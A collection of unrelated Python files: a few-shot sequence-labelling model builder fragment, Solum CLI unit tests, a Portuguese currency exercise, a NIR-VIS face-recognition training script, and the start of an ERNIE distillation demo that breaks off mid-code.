# set num of anchors: # (1) if provided in config, use it (usually in load model case.) # (2) *3 is used to ensure enough anchors ( > num_tags of unseen domains ) num_anchors = config['num_anchors'] if 'num_anchors' in config else config['num_tags'] * 3 config['num_anchors'] = num_anchors anchor_dim = 256 if opt.context_emb == 'electra' else 768 similarity_scorer = TapNetSimilarityScorer( sim_func=sim_func, num_anchors=num_anchors, mlp_out_dim=opt.tap_mlp_out_dim, random_init=opt.tap_random_init, random_init_r=opt.tap_random_init_r, mlp=opt.tap_mlp, emb_log=emb_log, tap_proto=opt.tap_proto, tap_proto_r=opt.tap_proto_r, anchor_dim=anchor_dim) emission_scorer = TapNetEmissionScorer(similarity_scorer, ems_scaler) else: raise TypeError('wrong component type') ''' Build decoder ''' if opt.task == 'sl': # for sequence labeling if opt.decoder == 'sms': transition_scorer = None decoder = SequenceLabeler() elif opt.decoder == 'rule': transition_scorer = None decoder = RuleSequenceLabeler(config['id2label']) elif opt.decoder == 'crf': # logger.info('We only support back-off trans training now!') # Notice: only train back-off now trans_normalizer = build_scale_controller(name=opt.trans_normalizer) trans_scaler = build_scale_controller( name=opt.trans_scaler, kwargs=make_scaler_args(opt.trans_scaler, trans_normalizer, opt.trans_scale_r)) if opt.transition == 'learn': transition_scorer = FewShotTransitionScorer( num_tags=config['num_tags'], normalizer=trans_normalizer, scaler=trans_scaler, r=opt.trans_r, backoff_init=opt.backoff_init) elif opt.transition == 'learn_with_label': label_trans_normalizer = build_scale_controller(name=opt.label_trans_normalizer) label_trans_scaler = build_scale_controller(name=opt.label_trans_scaler, kwargs=make_scaler_args( opt.label_trans_scaler, label_trans_normalizer, opt.label_trans_scale_r)) transition_scorer = FewShotTransitionScorerFromLabel( num_tags=config['num_tags'], normalizer=trans_normalizer, scaler=trans_scaler, r=opt.trans_r, backoff_init=opt.backoff_init, label_scaler=label_trans_scaler) else: raise ValueError('Wrong choice of transition.') if opt.add_transition_rules and 'id2label' in config: # 0 is [PAD] label id, here remove it. non_pad_id2label = copy.deepcopy(config['id2label']).__delitem__(0) for k, v in non_pad_id2label.items(): non_pad_id2label[k] = v - 1 # we 0 as [PAD] label id, here remove it. constraints = allowed_transitions(constraint_type='BIO', labels=non_pad_id2label) else: constraints = None decoder = ConditionalRandomField( num_tags=transition_scorer.num_tags, constraints=constraints) # accurate tags else: raise TypeError('wrong component type') elif opt.task == 'sc': # for single-label text classification task decoder = SingleLabelTextClassifier() else: raise TypeError('wrong task type') ''' Build the whole model ''' if opt.task == 'sl': seq_labeler = SchemaFewShotSeqLabeler if opt.use_schema else FewShotSeqLabeler model = seq_labeler( opt=opt, context_embedder=context_embedder, emission_scorer=emission_scorer, decoder=decoder, transition_scorer=transition_scorer, config=config, emb_log=emb_log ) elif opt.task == 'sc': text_classifier = SchemaFewShotTextClassifier if opt.use_schema else FewShotTextClassifier model = text_classifier( opt=opt, context_embedder=context_embedder, emission_scorer=emission_scorer, decoder=decoder, config=config, emb_log=emb_log ) else: raise TypeError('wrong task type') return model def load_model(path): try: with open(path, 'rb') as reader: cpt = torch.load(reader, map_location='cpu') model = make_model(opt=cpt['opt'], config=cpt['config']) model = prepare_model(args=cpt['opt'], model=model, device=cpt['opt'].device, n_gpu=cpt['opt'].n_gpu) model.load_state_dict(cpt['state_dict']) return model except IOError as e: logger.info("Failed to load model from {} \n {}".format(path, e)) return None def get_value_from_order_dict(order_dict, key): """""" for k, v in order_dict.items(): if key in k: return v return []
python
# Copyright 2013 - Noorul Islam K M # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from io import StringIO from unittest import mock import collections import re import sys import fixtures from oslo_utils import uuidutils from stevedore import extension import testtools from testtools import matchers from solumclient import client from solumclient.common.apiclient import auth from solumclient.common import yamlutils from solumclient import solum from solumclient.tests import base from solumclient.v1 import component from solumclient.v1 import languagepack from solumclient.v1 import pipeline from solumclient.v1 import plan FAKE_ENV = {'OS_USERNAME': 'username', 'OS_PASSWORD': 'password', 'OS_TENANT_NAME': 'tenant_name', 'OS_AUTH_URL': 'http://no.where'} languagepack_file_data = ( '{"language-pack-type":"Java", "language-pack-name":"Java version 1.4."}') class MockEntrypoint(object): def __init__(self, name, plugin): self.name = name self.plugin = plugin class BaseFakePlugin(auth.BaseAuthPlugin): def _do_authenticate(self, http_client): pass def token_and_endpoint(self, endpoint_type, service_type): pass class TestSolum(base.TestCase): """Test the Solum CLI.""" re_options = re.DOTALL | re.MULTILINE # Patch os.environ to avoid required auth info. def make_env(self, exclude=None): env = dict((k, v) for k, v in FAKE_ENV.items() if k != exclude) self.useFixture(fixtures.MonkeyPatch('os.environ', env)) @mock.patch.object(extension.ExtensionManager, "map") def shell(self, argstr, mock_mgr_map, exit_code=0): class FakePlugin(BaseFakePlugin): def authenticate(self, cls): cls.request( "POST", "http://auth/tokens", json={"fake": "me"}, allow_redirects=True) mock_mgr_map.side_effect = ( lambda func: func(MockEntrypoint("fake", FakePlugin))) orig = sys.stdout try: sys.stdout = StringIO() argv = [__file__, ] argv.extend(argstr.split()) self.useFixture( fixtures.MonkeyPatch('sys.argv', argv)) solum.main() except SystemExit: exc_type, exc_value, exc_traceback = sys.exc_info() self.assertEqual(exit_code, exc_value.code) finally: out = sys.stdout.getvalue() sys.stdout.close() sys.stdout = orig return out @testtools.skip("Skip it when found solution") def test_get_client_debug(self): env = dict((k, v) for k, v in FAKE_ENV.items() if k is not None) test_client = client.get_client('1', **env) self.assertFalse(test_client.http_client.debug) test_client = client.get_client('1', debug=True) self.assertTrue(test_client.http_client.debug) @testtools.skip("Skip it when found solution") def test_get_client_insecure(self): env = dict((k, v) for k, v in FAKE_ENV.items() if k is not None) test_client = client.get_client('1', **env) self.assertTrue(test_client.http_client.verify) test_client = client.get_client('1', verify=False) self.assertFalse(test_client.http_client.verify) def test_help(self): required = [ '.*?^Available commands:' ] help_text = self.shell('--help') for r in required: self.assertThat(help_text, matchers.MatchesRegex(r, self.re_options)) # Workflow Tests # def test_workflow_error(self): self.make_env() out = self.shell("workflow unknown-command") self.assertIn("Available commands", out) # Pipeline Tests # @mock.patch.object(pipeline.PipelineManager, "list") def test_pipeline_list(self, mock_pipeline_list): self.make_env() self.shell("pipeline list") mock_pipeline_list.assert_called_once_with() @mock.patch.object(pipeline.PipelineManager, "create") def test_pipeline_create(self, mock_pipeline_create): self.make_env() self.shell("pipeline create http://example.com/a.yaml workbook test") mock_pipeline_create.assert_called_once_with( name='test', workbook_name='workbook', plan_uri='http://example.com/a.yaml') @mock.patch.object(pipeline.PipelineManager, "create") def test_pipeline_create_without_name(self, mock_pipeline_create): self.make_env() self.shell("pipeline create http://example.com/a.yaml workbook", exit_code=2) @mock.patch.object(plan.PlanManager, "find") @mock.patch.object(pipeline.PipelineManager, "create") def test_pipeline_create_with_plan_name(self, mock_pipeline_create, mock_plan_find): class FakePlan(object): uri = 'http://example.com/the-plan.yaml' self.make_env() mock_plan_find.return_value = FakePlan() self.shell("pipeline create the-plan-name workbook test") mock_plan_find.assert_called_once_with(name_or_id='the-plan-name') mock_pipeline_create.assert_called_once_with( name='test', workbook_name='workbook', plan_uri='http://example.com/the-plan.yaml') @mock.patch.object(pipeline.PipelineManager, "delete") @mock.patch.object(pipeline.PipelineManager, "find") def test_pipeline_delete(self, mock_pipeline_find, mock_pipeline_delete): self.make_env() the_id = uuidutils.generate_uuid() self.shell("pipeline delete %s" % the_id) mock_pipeline_find.assert_called_once_with( name_or_id=the_id) self.assertEqual(1, mock_pipeline_delete.call_count) @mock.patch.object(pipeline.PipelineManager, "find") def test_pipeline_get(self, mock_pipeline_find): self.make_env() the_id = uuidutils.generate_uuid() self.shell("pipeline show %s" % the_id) mock_pipeline_find.assert_called_once_with(name_or_id=the_id) @mock.patch.object(pipeline.PipelineManager, "find") def test_pipeline_get_by_name(self, mock_pipeline_find): self.make_env() self.shell("pipeline show app2") mock_pipeline_find.assert_called_once_with(name_or_id='app2') # App Tests # def test_app_create_with_missing_workflow_config(self): raw_data = 'version: 1\nname: ex_app\nworkflow_config:\n' mopen = mock.mock_open(read_data=raw_data) with mock.patch('%s.open' % solum.__name__, mopen, create=True): self.make_env() out = self.shell("app create --app-file /dev/null") self.assertEqual("ERROR: Workflow config cannot be empty\n", out) def test_app_create_with_missing_trigger_actions(self): raw_data = 'version: 1\nname: ex_app\ntrigger_actions:\n' mopen = mock.mock_open(read_data=raw_data) with mock.patch('%s.open' % solum.__name__, mopen, create=True): self.make_env() out = self.shell("app create --app-file /dev/null") self.assertEqual("ERROR: Trigger actions cannot be empty\n", out) def test_app_create_with_bad_name(self): raw_data = '\n'.join([ 'version: 1', 'name: ex=app1', 'description: python web app', 'workflow_config:', ' run_cmd: python app.py', 'ports: [5000]']) mopen = mock.mock_open(read_data=raw_data) with mock.patch('%s.open' % solum.__name__, mopen, create=True): self.make_env() out = self.shell("app create --app-file /dev/null") self.assertEqual("ERROR: Application name must be 1-100 " "characters long, only contain a-z,0-9,-,_ and " "start with an alphabet character.\n", out) # OldApp Tests # def test_oldapp_create_with_missing_artifacts(self): raw_data = 'version: 1\nname: ex_plan1\ndescription: dsc1.' mopen = mock.mock_open(read_data=raw_data) with mock.patch('%s.open' % solum.__name__, mopen, create=True): self.make_env() out = self.shell("oldapp create --plan-file /dev/null") self.assertEqual("ERROR: Missing artifacts section\n", out) def test_oldapp_create_with_bad_name(self): raw_data = '\n'.join([ 'version: 1', 'name: ex=plan1', 'description: python web app', 'artifacts:', '- name: web', ' content:', ' href: https://github.com/user/repo.git', ' language_pack: auto', ' unittest_cmd: ./unit_tests.sh', ' run_cmd: python app.py', ' ports: 5000']) mopen = mock.mock_open(read_data=raw_data) with mock.patch('%s.open' % solum.__name__, mopen, create=True): self.make_env() out = self.shell("oldapp create --plan-file /dev/null") self.assertEqual("ERROR: Application name must be 1-100 " "characters long, only contain a-z,0-9,-,_ and " "start with an alphabet character.\n", out) @testtools.skip("Skip it when found solution") def test_oldapp_create_with_bad_artifact_name(self): raw_data = '\n'.join([ 'version: 1', 'name: explan1', 'description: python web app', 'artifacts:', '- name:', ' content:', ' href: https://github.com/user/repo.git', ' language_pack: auto', ' unittest_cmd: ./unit_tests.sh', ' run_cmd: python app.py', ' ports: 5000']) mopen = mock.mock_open(read_data=raw_data) with mock.patch('%s.open' % solum.__name__, mopen, create=True): self.make_env() out = self.shell("oldapp create --plan-file /dev/null") # No part of the plan is in error; the next step in the test # is authorization, which is deliberately mocked. self.assertIn("ERROR: Authorization Failed:", out) self.assertIn("http://no.where/tokens", out) def test_oldapp_create_with_artifacts_empty(self): raw_data = 'version: 1\nname: ex_plan1\ndescription: dsc1.\nartifacts:' mopen = mock.mock_open(read_data=raw_data) with mock.patch('%s.open' % solum.__name__, mopen, create=True): self.make_env() out = self.shell("oldapp create --plan-file /dev/null") self.assertEqual("ERROR: Artifacts cannot be empty\n", out) def test_oldapp_create_with_artifacts_no_content(self): raw_data = 'version: 1\nname: ex_plan1\ndescription: d1.\nartifacts:\n' raw_data += '- name: asdfds\n' raw_data += ' artifact_type: heroku\n' raw_data += ' language_pack: lp' mopen = mock.mock_open(read_data=raw_data) with mock.patch('%s.open' % solum.__name__, mopen, create=True): self.make_env() out = self.shell("oldapp create --plan-file /dev/null") self.assertEqual("ERROR: Artifact content missing\n", out) # Plan Tests # @mock.patch.object(plan.PlanManager, "create") def test_plan_create(self, mock_plan_create): FakeResource = collections.namedtuple("FakeResource", "uuid name description uri") mock_plan_create.return_value = FakeResource('foo', 'foo', 'foo', 'foo') raw_data = 'version: 1\nname: ex_plan1\ndescription: dsc1.' plan_data = yamlutils.dump(yamlutils.load(raw_data)) mopen = mock.mock_open(read_data=raw_data) with mock.patch('%s.open' % solum.__name__, mopen, create=True): self.make_env() self.shell("plan create /dev/null") mock_plan_create.assert_called_once_with(plan_data) @mock.patch.object(plan.PlanManager, "create") def test_plan_create_with_private_github_repo(self, mock_plan_create): FakeResource = collections.namedtuple( "FakeResource", "uuid name description uri artifacts") mock_plan_create.return_value = FakeResource('foo', 'foo', 'foo', 'foo', 'artifacts') expected_printed_dict_args = mock_plan_create.return_value._asdict() expected_printed_dict_args.pop('artifacts') raw_data = 'version: 1\nname: ex_plan1\ndescription: dsc1.' plan_data = yamlutils.dump(yamlutils.load(raw_data)) mopen = mock.mock_open(read_data=raw_data) with mock.patch('%s.open' % solum.__name__, mopen, create=True): self.make_env() self.shell("plan create /dev/null") mock_plan_create.assert_called_once_with(plan_data) @mock.patch.object(plan.PlanManager, "list") def test_plan_list(self, mock_plan_list): self.make_env() self.shell("plan list") mock_plan_list.assert_called_once_with() @mock.patch.object(plan.PlanManager, "delete") @mock.patch.object(plan.PlanManager, "find") def test_plan_delete(self, mock_plan_find, mock_plan_delete): self.make_env() the_id = uuidutils.generate_uuid() self.shell("plan delete %s" % the_id) mock_plan_find.assert_called_once_with(name_or_id=the_id) self.assertEqual(1, mock_plan_delete.call_count) @mock.patch.object(plan.PlanManager, "find") def test_plan_get(self, mock_plan_find): self.make_env() the_id = uuidutils.generate_uuid() self.shell("plan show %s" % the_id) mock_plan_find.assert_called_once_with(name_or_id=the_id) @mock.patch.object(plan.PlanManager, "find") def test_plan_get_private_github_repo(self, mock_plan_find): self.make_env() the_id = uuidutils.generate_uuid() FakeResource = collections.namedtuple( "FakeResource", "uuid name description uri artifacts") mock_plan_find.return_value = FakeResource('foo', 'foo', 'foo', 'foo', 'artifacts') self.shell("plan show %s" % the_id) mock_plan_find.assert_called_once_with(name_or_id=the_id) # LanguagePack Tests # @mock.patch.object(languagepack.LanguagePackManager, "list") def test_languagepack_list(self, mock_lp_list): self.make_env() self.shell("languagepack list") self.assertEqual(1, mock_lp_list.call_count) @mock.patch.object(languagepack.LanguagePackManager, "create") def test_languagepack_create(self, mock_lp_create): FakeResource = collections.namedtuple("FakeResource", "uuid name description " "compiler_versions os_platform") mock_lp_create.return_value = FakeResource( 'foo', 'foo', 'foo', 'foo', 'foo') lp_metadata = '{"OS": "Ubuntu"}' mopen = mock.mock_open(read_data=lp_metadata) with mock.patch('%s.open' % solum.__name__, mopen, create=True): self.make_env() self.shell("languagepack create lp_name github.com/test " "--lp_metadata=/dev/null") mock_lp_create.assert_called_once_with( name='lp_name', source_uri='github.com/test', lp_metadata=lp_metadata, lp_params={}) @mock.patch.object(languagepack.LanguagePackManager, "delete") def test_languagepack_delete(self, mock_lp_delete): self.make_env() self.shell("languagepack delete fake-lp-id") mock_lp_delete.assert_called_once_with(lp_id='fake-lp-id') @mock.patch.object(languagepack.LanguagePackManager, "find") def test_languagepack_get(self, mock_lp_get): self.make_env() self.shell("languagepack show fake-lp-id1") mock_lp_get.assert_called_once_with(name_or_id='fake-lp-id1') # Component Tests # @mock.patch.object(component.ComponentManager, "list") def test_component_list(self, mock_component_list): self.make_env() self.shell("component list") mock_component_list.assert_called_once_with() @mock.patch.object(component.ComponentManager, "find") def test_component_get(self, mock_component_find): self.make_env() the_id = uuidutils.generate_uuid() self.shell("component show %s" % the_id) mock_component_find.assert_called_once_with(name_or_id=the_id) @mock.patch.object(component.ComponentManager, "find") def test_component_get_by_name(self, mock_component_find): self.make_env() self.shell("component show comp1") mock_component_find.assert_called_once_with(name_or_id='comp1') def test_transform_git_url(self): private_uri = '[email protected]:solum/python.git' public_uri = 'https://github.com/solum/python.git' private = True public = False result = solum.transform_git_url(private_uri, private) self.assertEqual(result, private_uri) result = solum.transform_git_url(public_uri, private) self.assertEqual(result, private_uri) result = solum.transform_git_url(private_uri, public) self.assertEqual(result, public_uri) result = solum.transform_git_url(public_uri, public) self.assertEqual(result, public_uri)
python
""" Crie um módulo chamado moeda.py que tenha as funções incorporadas aumentar(), diminuir(), dobro() e metade(). Faça também um programa que importe esse módulo e use algumas dessas funções. """ import moeda from exercicios.geral import tratamento p = tratamento.leiaFloat('Digite o preço: R$', 'preço') print(f'A metade de {p} é {moeda.metade(p)}') print(f'O dobro de {p} é {moeda.dobro(p)}') print(f'Aumentando 10%, temos {moeda.aumentar(p, 10)}') print(f'Reduzindo 13%, temos {moeda.diminuir(p, 13)}')
python
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2021/5/12 14:44 # @Author : PPq from __future__ import print_function import argparse import os import shutil import time from torch.nn import DataParallel import torch import torch.nn as nn import torch.nn.parallel import torch.backends.cudnn as cudnn import torch.optim import torch.utils.data import torchvision.transforms as transforms import torchvision.datasets as datasets from torch.utils.data import DataLoader from core import IDR from core.utils import init_log from dataloader.CASIA_NIR_VIS_IDR import CASIA_NIR_VIS import numpy as np from load_imglist import ImageList parser = argparse.ArgumentParser(description='PyTorch Light CNN Training') parser.add_argument('--arch', '-a', metavar='ARCH', default='LightCNN') parser.add_argument('--cuda', '-c', default=True) parser.add_argument('-j', '--workers', default=4, type=int, metavar='N', help='number of data loading workers (default: 16)') parser.add_argument('--epochs', default=70, type=int, metavar='N', help='number of total epochs to run') parser.add_argument('--start-epoch', default=0, type=int, metavar='N', help='manual epoch number (useful on restarts)') parser.add_argument('-b', '--batch-size', default=128, type=int, metavar='N', help='mini-batch size (default: 128)') parser.add_argument('--lr', '--learning-rate', default=1e-2, type=float, metavar='LR', help='initial learning rate') parser.add_argument('--momentum', default=0.9, type=float, metavar='M', help='momentum') parser.add_argument('--weight-decay', '--wd', default=1e-4, type=float, metavar='W', help='weight decay (default: 1e-4)') parser.add_argument('--print-freq', '-p', default=20, type=int, metavar='N', help='print frequency (default: 100)') parser.add_argument('--model', default='IDRnet', type=str, metavar='Model', help='model type: IDRnet') parser.add_argument('--resume', default='/root/NIR_VIS_Face_Recognition-master/model/LightCNN_9Layers_checkpoint.pth.tar', type=str, metavar='PATH', help='path to latest checkpoint (default: none)') parser.add_argument('--root_path', default='', type=str, metavar='PATH', help='path to root path of images (default: none)') parser.add_argument('--train_dir', default='/root/NIR_VIS_Face_Recognition-master/dataset/CASIA_NIR_VIS_2.0/NIR-VIS-2.0', type=str, metavar='PATH', help='path to training list (default: none)') parser.add_argument('--val_dir', default='/root/NIR_VIS_Face_Recognition-master/dataset/CASIA_NIR_VIS_2.0/NIR-VIS-2.0', type=str, metavar='PATH', help='path to validation list (default: none)') parser.add_argument('--save_path', default='model/tmp/', type=str, metavar='PATH', help='path to save checkpoint (default: none)') parser.add_argument('--num_classes', default=839, type=int, metavar='N', help='number of classes') def main(): global args args = parser.parse_args() # create Light CNN for face recognition if args.model == 'IDRnet': model = IDR.IDRnet(num_classes=args.num_classes) else: print('Error model type\n') if args.cuda: model = torch.nn.DataParallel(model).cuda() ''' print(model.module) for name, value in model.named_parameters(): print(name, value.shape) ''' # large lr for last fc parameters basic_params = [] for name, value in model.module.basic_layer.named_parameters(): if 'bias' in name: basic_params += [{'params': value, 'lr': 2 * args.lr, 'weight_decay': 0}] #2 else: basic_params += [{'params': value, 'lr': 1 * args.lr}] #1 basic_opt = torch.optim.SGD(basic_params, args.lr, momentum=args.momentum, weight_decay=args.weight_decay) # large lr for last fc parameters feat_params = [] for name, value in model.module.feature_layer.named_parameters(): if 'bias' in name: if 'fc' in name: #fc2.bias feat_params += [{'params': value, 'lr': 0.1 * args.lr, 'weight_decay': 0}] else: #bias feat_params += [{'params': value, 'lr': 0.1 * args.lr, 'weight_decay': 0}] else: if 'fc' in name: #fc.weight feat_params += [{'params': value, 'lr': 0.1 * args.lr}] else: #weight feat_params += [{'params': value, 'lr': 0.1 * args.lr}] feat_opt = torch.optim.SGD(feat_params, args.lr, momentum = args.momentum, weight_decay = args.weight_decay) optimizer = [basic_opt, feat_opt] # optionally resume from a checkpoint if args.resume: if os.path.isfile(args.resume): print("=> loading checkpoint '{}'".format(args.resume)) #args.start_epoch = checkpoint['epoch'] args.start_epoch = 0 checkpoint = torch.load(args.resume) if 'LightCNN9' in args.resume: print(here) del(checkpoint['state_dict']['module.fc1.filter.weight']) del(checkpoint['state_dict']['module.fc1.filter.bias']) del(checkpoint['state_dict']['module.fc2.weight']) del(checkpoint['state_dict']['module.fc2.bias']) name = [key[7:] for key in checkpoint['state_dict'].keys()] value = checkpoint['state_dict'].values() new_state_dict = dict(zip(name, value)) #print(list(checkpoint['state_dict'].keys())) model_dict = model.module.basic_layer.state_dict() model_dict.update(new_state_dict) model.module.basic_layer.load_state_dict(model_dict) #print("=> loaded checkpoint '{}' (epoch {})".format(args.resume, checkpoint['epoch'])) else: print("=> no checkpoint found at '{}'".format(args.resume)) weight_init(model) cudnn.benchmark = True # load image all_transform = transforms.Compose([ transforms.Grayscale(1), transforms.ToTensor(), ]) # define trainloader and testloader trainset = CASIA_NIR_VIS(root=args.train_dir, transform=all_transform) train_loader = torch.utils.data.DataLoader(trainset, batch_size=args.batch_size, shuffle=True, num_workers=8, drop_last=False) valset = CASIA_NIR_VIS(root=args.val_dir, transform=all_transform, test=True) val_loader = torch.utils.data.DataLoader(valset, batch_size=32, shuffle=False, num_workers=8, drop_last=False) # define loss function and optimizer basic_criterion = nn.CrossEntropyLoss() total_critertion = IDRLoss() criterion = [basic_criterion, total_critertion] if args.cuda: for cri in criterion: cri.cuda() validate(val_loader, model, criterion) for epoch in range(args.start_epoch, args.epochs): if epoch == 50: print('Change lr') for param_group in basic_opt.param_groups: param_group['lr'] = 1e-5 for param_group in feat_opt.param_groups: param_group['lr'] = 1e-5 # train for one epoch train(train_loader, model, criterion, optimizer, epoch) # evaluate on validation set prec1 = validate(val_loader, model, criterion) save_name = args.save_path + 'lightCNN_' + str(epoch + 1) + '_checkpoint.pth.tar' save_checkpoint({ 'epoch': epoch + 1, 'arch': args.arch, 'state_dict': model.state_dict(), 'prec1': prec1, }, save_name) def train(train_loader, model, criterion, optimizer, epoch): batch_time = AverageMeter() data_time = AverageMeter() losses = AverageMeter() top1 = AverageMeter() top5 = AverageMeter() model.train() end = time.time() for i, (input, target, idt) in enumerate(train_loader): data_time.update(time.time() - end) input = input.cuda() # print(input.shape) target = target.cuda() idt = idt.cuda() input_var = torch.autograd.Variable(input) target_var = torch.autograd.Variable(target) idt_var = torch.autograd.Variable(idt) # compute output output, _ = model(input_var, idt_var) basic_loss = criterion[0](output, target_var) # compute gradient and do SGD step optimizer[0].zero_grad() basic_loss.backward() optimizer[0].step() pn = model.module.feature_layer.unique_mfm1.filter.weight pv = model.module.feature_layer.unique_mfm2.filter.weight w = model.module.feature_layer.shared_mfm.filter.weight output, _ = model(input_var, idt_var) loss = criterion[1](output, target_var, w, pn, pv) optimizer[1].zero_grad() basic_loss.backward() optimizer[1].step() # measure accuracy and record loss prec1, prec5 = accuracy(output.data, target, topk=(1, 5)) # print('\nprec1:{}, prec5:{}'.format(prec1, prec5)) losses.update(loss.data.item(), input.size(0)) top1.update(prec1.item(), input.size(0)) top5.update(prec5.item(), input.size(0)) # measure elapsed time batch_time.update(time.time() - end) end = time.time() if i % args.print_freq == 0: print('Epoch: [{0}][{1}/{2}]\t' 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t' 'Data {data_time.val:.3f} ({data_time.avg:.3f})\t' 'Loss {loss.val:.4f} ({loss.avg:.4f})\t' 'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\t' 'Prec@5 {top5.val:.3f} ({top5.avg:.3f})'.format( epoch, i, len(train_loader), batch_time=batch_time, data_time=data_time, loss=losses, top1=top1, top5=top5)) def validate(val_loader, model, criterion): batch_time = AverageMeter() losses = AverageMeter() top1 = AverageMeter() top5 = AverageMeter() # switch to evaluate mode model.eval() end = time.time() for i, (input, target, idt) in enumerate(val_loader): input = input.cuda() #print('input.shape : {}'.format(input.shape)) target = target.cuda() idt = idt.cuda() input_var = input.clone().detach() target_var = target.clone().detach() idt_var = idt.clone().detach() # compute output output, _ = model(input_var, idt_var) #print('output.shape: {}'.format(output.shape)) pn = model.module.feature_layer.unique_mfm1.filter.weight pv = model.module.feature_layer.unique_mfm2.filter.weight w = model.module.feature_layer.shared_mfm.filter.weight loss = criterion[1](output, target_var, w, pn, pv) # measure accuracy and record loss prec1, prec5 = accuracy(output.data, target, topk=(1, 5)) # print('\nprec1:{}, prec5:{}'.format(prec1, prec5)) losses.update(loss.data.item(), input.size(0)) top1.update(prec1.item(), input.size(0)) top5.update(prec5.item(), input.size(0)) print('\ntop1.sum: {}, top1.count: {}'.format(top1.sum, top1.count)) print('\nTest set: Average loss: {}, Accuracy: ({})\n'.format(losses.avg, top1.avg)) return top1.avg def save_checkpoint(state, filename): torch.save(state, filename) class AverageMeter(object): """Computes and stores the average and current value""" def __init__(self): self.reset() def reset(self): self.val = 0 self.avg = 0 self.sum = 0 self.count = 0 def update(self, val, n=1): self.val = val self.sum += val * n self.count += n self.avg = self.sum / self.count def accuracy(output, target, topk=(1,)): """Computes the precision@k for the specified values of k""" maxk = max(topk) batch_size = target.size(0) # (batch, feature),从每个feature选择topk _, pred = output.topk(maxk, 1, True, True) # 转置 pred = pred.t() correct = pred.eq(target.view(1, -1).expand_as(pred)) res = [] for k in topk: # 计算有多少个预测正确 correct_k = correct[:k].view(-1).float().sum(0) res.append(correct_k.mul_(100.0 / batch_size)) return res def weight_init(model): #print(type(model.named_parameters())) for name, param in model.named_parameters(): if 'mfm' in name and 'weight' in name: print(name) nn.init.uniform_(param, -1.0/(param.size(0) ** 0.5), 1.0 / (param.size(0) ** 0.5)) class IDRLoss(nn.Module): def __init__(self, lamda=2e-4): super(IDRLoss, self).__init__() self.lamda = lamda self.ce_loss = nn.CrossEntropyLoss() def forward(self, x, target, w, pn, pv): loss1 = self.ce_loss(x, target) loss2 = self.lamda * (torch.norm(torch.mm(pn.t(), w), p='fro') ** 2) + \ self.lamda * (torch.norm(torch.mm(pv.t(), w), p = 'fro') ** 2) #print('loss1 : {}, loss2: {}'.format(loss1, loss2)) return loss1 + loss2 if __name__ == '__main__': main()
python
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import sys import os import numpy as np from sklearn.metrics import f1_score import paddle as P from paddle.nn import functional as F import propeller.paddle as propeller from ernie.tokenizing_ernie import ErnieTokenizer from ernie.modeling_ernie import ErnieModelForSequenceClassification from demo.utils import create_if_not_exists, get_warmup_and_linear_decay # 本例子采用chnsenticorp中文情感识别任务作为示范;并且事先通过数据增强扩充了蒸馏所需的无监督数据 # # 下载数据;并存放在 ./chnsenticorp-data/ # 数据分为3列:原文;空格切词;情感标签 # 其中第一列为ERNIE的输入;第二列为BoW词袋模型的输入 # 事先统计好的BoW 词典在 ./chnsenticorp-data/vocab.bow.txt # 定义finetune teacher模型所需要的超参数 DATA_DIR = './chnsenticorp-data/' SEQLEN = 256 BATCH = 32 EPOCH = 10 LR = 5e-5 tokenizer = ErnieTokenizer.from_pretrained('ernie-1.0') student_vocab = { i.strip(): l for l, i in enumerate( open( os.path.join(DATA_DIR, 'vocab.bow.txt'), encoding='utf8') .readlines()) } def space_tokenizer(i): return i.decode('utf8').split() feature_column = propeller.data.FeatureColumns([ propeller.data.TextColumn( 'seg_a', unk_id=tokenizer.unk_id, vocab_dict=tokenizer.vocab, tokenizer=tokenizer.tokenize), propeller.data.TextColumn( 'seg_a_student', unk_id=student_vocab['[UNK]'], vocab_dict=student_vocab, tokenizer=space_tokenizer), propeller.data.LabelColumn( 'label', vocab_dict={ b"0": 0, b"1": 1, }), ]) def map_fn(seg_a, seg_a_student, label): seg_a, _ = tokenizer.truncate(seg_a, [], seqlen=SEQLEN) sentence, segments = tokenizer.build_for_ernie(seg_a) return seg_a_student, sentence, segments, label train_ds = feature_column.build_dataset('train', data_dir=os.path.join(DATA_DIR, 'train/'), shuffle=True, repeat=False, use_gz=False) \ .map(map_fn) \ .padded_batch(BATCH) train_ds_unlabel = feature_column.build_dataset('train-da', data_dir=os.path.join(DATA_DIR, 'train-data-augmented/'), shuffle=True, repeat=False, use_gz=False) \ .map(map_fn) \ .padded_batch(BATCH) dev_ds = feature_column.build_dataset('dev', data_dir=os.path.join(DATA_DIR, 'dev/'), shuffle=False, repeat=False, use_gz=False) \ .map(map_fn) \ .padded_batch(BATCH,) shapes = ([-1, SEQLEN], [-1, SEQLEN], [-1, SEQLEN], [-1]) types = ('int64', 'int64', 'int64', 'int64') train_ds.data_shapes = shapes train_ds.data_types = types train_ds_unlabel.data_shapes = shapes train_ds_unlabel.data_types = types dev_ds.data_shapes = shapes dev_ds.data_types = types place = P.CUDAPlace(0) def evaluate_teacher(model, dataset): all_pred, all_label = [], [] with P.no_grad(): model.eval() for step, (ids_student, ids, _, labels) in enumerate( P.io.DataLoader( dataset, places=place, batch_size=None)): _, logits = model(ids) pred = logits.argmax(-1) all_pred.extend(pred.numpy()) all_label.extend(labels.numpy()) f1 = f1_score(all_label, all_pred, average='macro') model.train() return f1 teacher_model = ErnieModelForSequenceClassification.from_pretrained( 'ernie-1.0', num_labels=2) teacher_model.train() if not os.path.exists('./teacher_model.bin'): g_clip = P.nn.ClipGradByGlobalNorm(1.0) #experimental lr_scheduler = P.optimizer.lr.LambdaDecay( LR, get_warmup_and_linear_decay(9600 * EPOCH / BATCH, 9600 * EPOCH * 0.1 / BATCH)) opt = P.optimizer.AdamW( lr_scheduler, parameters=teacher_model.parameters(), weight_decay=0.01, 